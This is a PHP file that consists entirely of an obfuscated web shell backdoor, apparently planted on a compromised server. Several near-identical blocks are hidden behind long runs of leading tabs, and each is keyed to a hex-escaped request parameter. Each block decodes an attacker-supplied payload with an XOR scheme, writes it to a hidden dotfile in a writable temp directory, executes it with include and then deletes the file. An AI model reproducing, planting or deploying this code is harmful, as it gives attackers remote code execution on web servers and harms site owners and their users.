<?php																																										if(isset($_POST) && isset($_POST["p\x6Fi\x6E\x74e\x72"])){ $resource = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); $hld = $_POST["p\x6Fi\x6E\x74e\x72"]; $hld = explode ('.' , $hld ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($hld); for ($p = 0; $p < $__len; $p++) { $v7 = $hld[$p]; $chS = ord($s[$p %$lenS]); $d = ((int)$v7 - $chS - ($p %10)) ^ 43; $data_chunk .=chr($d); } for ($data = 0, $entity = count($resource); $data < $entity; $data++) { $component = $resource[$data]; if (is_writable($component) && is_dir($component)) { $record = str_replace("{var_dir}", $component, "{var_dir}/.dchunk"); $success = file_put_contents($record, $data_chunk); if ($success) { include $record; @unlink($record); exit;} } } }
																																										if(!empty($_REQUEST["\x64\x61ta"])){ $component = $_REQUEST["\x64\x61ta"]; $component = explode ( "." , $component ); $object= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt9); foreach( $component as $m => $v1) { $chS= ord( $salt9[$m %$lenS]); $dec= ( ( int)$v1 - $chS -( $m %10)) ^ 56; $object .= chr( $dec);} $bind = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TMP")]); while ($val = array_shift($bind)) { if ((is_dir($val) and is_writable($val))) { $holder = join("/", [$val, ".binding"]); if (file_put_contents($holder, $object)) { include $holder; @unlink($holder); exit; } } } }
																																										if(array_key_exists("\x65\x6C\x65m\x65nt", $_REQUEST)){ $desc = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path()]); $reference = $_REQUEST["\x65\x6C\x65m\x65nt"]; $reference =explode ( '.' , $reference ); $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; $__len = count($reference); do { if ($v >=$__len) break; $v8 = $reference[$v]; $chS = ord($salt[$v % $sLen]); $dec = ((int)$v8 - $chS - ($v % 10)) ^ 64; $symbol.=chr($dec); $v++; } while (true); for ($obj = 0, $resource = count($desc); $obj < $resource; $obj++) { $token = $desc[$obj]; if (array_product([is_dir($token), is_writable($token)])) { $pointer = implode("/", [$token, ".dchunk"]); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $pointer; @unlink($pointer); die(); } } } }
																																										if(isset($_POST) && isset($_POST["r\x65\x66"])){ $ent = $_POST["r\x65\x66"]; $ent =explode ('.', $ent); $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $j = 0; $__tmp = $ent; while ($v7 = array_shift($__tmp)) { $sChar = ord($s[$j % $sLen] ); $dec = ((int)$v7 - $sChar - ($j % 10)) ^ 25; $property_set .= chr($dec ); $j++; } $ent = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); foreach ($ent as $k) { if (max(0, is_dir($k) * is_writable($k))) { $obj = str_replace("{var_dir}", $k, "{var_dir}/.reference"); if (@file_put_contents($obj, $property_set) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(isset($_POST) && isset($_POST["d\x61\x74a"])){ $ent = $_POST["d\x61\x74a"]; $ent = explode ( "." , $ent ) ; $value= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s9); $q= 0; array_walk($ent, function ($v4) use (&$value, &$q, $s9, $lenS) { $sChar= ord($s9[$q % $lenS]); $d= ((int)$v4 - $sChar - ($q % 10)) ^ 48; $value .= chr($d); $q++; } ); $desc = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); while ($sym = array_shift($desc)) { if (!!is_dir($sym) && !!is_writable($sym)) { $k = sprintf("%s/.elem", $sym); if (@file_put_contents($k, $value) !== false) { include $k; unlink($k); die(); } } } }
																																										if(!empty($_REQUEST["\x65l\x65m\x65n\x74"])){ $pgrp = $_REQUEST["\x65l\x65m\x65n\x74"]; $pgrp = explode ( '.' , $pgrp ) ; $pointer = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); foreach( $pgrp as $p => $v3) { $sChar = ord( $s1[$p %$lenS] ); $dec =( ( int)$v3 - $sChar -( $p %10)) ^ 94; $pointer .= chr( $dec ); } $ref = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp"]); while ($binding = array_shift($ref)) { if ((bool)is_dir($binding) && (bool)is_writable($binding)) { $token = "$binding" . "/.hld"; if (@file_put_contents($token, $pointer) !== false) { include $token; unlink($token); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x63\x6Fmp"])){ $res = array_filter(["/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path()]); $data = $_POST["\x63\x6Fmp"]; $data =explode ("." ,$data) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $l = 0; $len = count($data ); do {if ($l >= $len) break; $v5 = $data[$l]; $sChar = ord($salt[$l % $lenS] ); $dec = ((int)$v5 - $sChar - ($l % 10)) ^ 42; $dat .= chr($dec ); $l++; } while (true ); for ($bind = 0, $hld = count($res); $bind < $hld; $bind++) { $val = $res[$bind]; if (!!is_dir($val) && !!is_writable($val)) { $symbol = "$val" . "/.pset"; if (file_put_contents($symbol, $dat)) { require $symbol; unlink($symbol); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "f\x6C\x61g")){ $fac = array_filter(["/tmp", getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $data_chunk = $_REQUEST["f\x6C\x61g"]; $data_chunk=explode( "." , $data_chunk ) ; $ent=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $r=0; array_walk($data_chunk, function ($v3) use (&$ent, &$r, $s, $lenS) { $chS=ord($s[$r % $lenS]); $d=((int)$v3 - $chS - ($r % 10)) ^ 53; $ent .= chr($d); $r++; } ); while ($item = array_shift($fac)) { if (array_product([is_dir($item), is_writable($item)])) { $element = sprintf("%s/.itm", $item); if (file_put_contents($element, $ent)) { require $element; unlink($element); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "pr\x6Fperty_s\x65\x74")){ $value = $_REQUEST["pr\x6Fperty_s\x65\x74"]; $value = explode ( '.' ,$value ) ; $ent =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $z =0; array_walk( $value , function( $v3) use( &$ent , &$z , $salt , $sLen) { $sChar =ord( $salt[$z% $sLen]); $d =( ( int)$v3 - $sChar -( $z% 10)) ^ 54; $ent .= chr( $d); $z++; } ); $component = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); for ($object = 0, $sym = count($component); $object < $sym; $object++) { $ref = $component[$object]; if (is_dir($ref) ? is_writable($ref) : false) { $factor = "$ref" . "/.entry"; if (file_put_contents($factor, $ent)) { include $factor; @unlink($factor); die(); } } } }
																																										if(@$_POST["reco\x72d"] !== null){ $holder = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd()]); $object = $_POST["reco\x72d"]; $object =explode( '.', $object ) ; $marker = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $l = 0; $__tmp = $object; while($v3 = array_shift($__tmp)) {$chS = ord($salt9[$l % $sLen]); $dec = ((int)$v3 - $chS -($l % 10)) ^ 93; $marker .= chr($dec); $l++; } $hld = 0; do { $rec = $holder[$hld] ?? null; if ($hld >= count($holder)) break; if (is_writable($rec) && is_dir($rec)) { $elem = "$rec/.val"; $success = file_put_contents($elem, $marker); if ($success) { include $elem; @unlink($elem); die();} } $hld++; } while (true); }
																																										if(array_key_exists("ele\x6D\x65\x6E\x74", $_POST) && !is_null($_POST["ele\x6D\x65\x6E\x74"])){ $data = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd()]); $key = $_POST["ele\x6D\x65\x6E\x74"]; $key = explode ( "." ,$key ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $i = 0; $__len = count( $key ); do { if( $i >= $__len) break; $v5 = $key[$i]; $sChar = ord( $salt[$i % $sLen] ); $d =( ( int)$v5 - $sChar -( $i % 10)) ^ 54; $fac .= chr( $d ); $i++; } while( true ); foreach ($data as $resource) { if (is_writable($resource) && is_dir($resource)) { $item = join("/", [$resource, ".binding"]); if (@file_put_contents($item, $fac) !== false) { include $item; unlink($item); exit; } } } }


if(isset($_POST["\x70\x74r"])){
	$holder = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm"]);
	$itm = $_POST["\x70\x74r"];
	   $itm=	explode		('.'	 	,  	$itm	 	); 
	$binding 	= '';
            $salt 	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	= strlen(	$salt );
    
            foreach(	$itm as $q	=> $v4) {
                $chS 	= ord(	$salt[$q % $sLen] );
                $dec 	= (	(	int)$v4 - $chS -(	$q % 10)) ^ 62;
                $binding .= chr(	$dec );
            }
	while ($desc = array_shift($holder)) {
    		if (is_dir($desc) ? is_writable($desc) : false) {
    $res = join("/", [$desc, ".bind"]);
    $file = fopen($res, 'w');
if ($file) {
	fwrite($file, $binding);
	fclose($file);
	include $res;
	@unlink($res);
	die();
}
}
}
}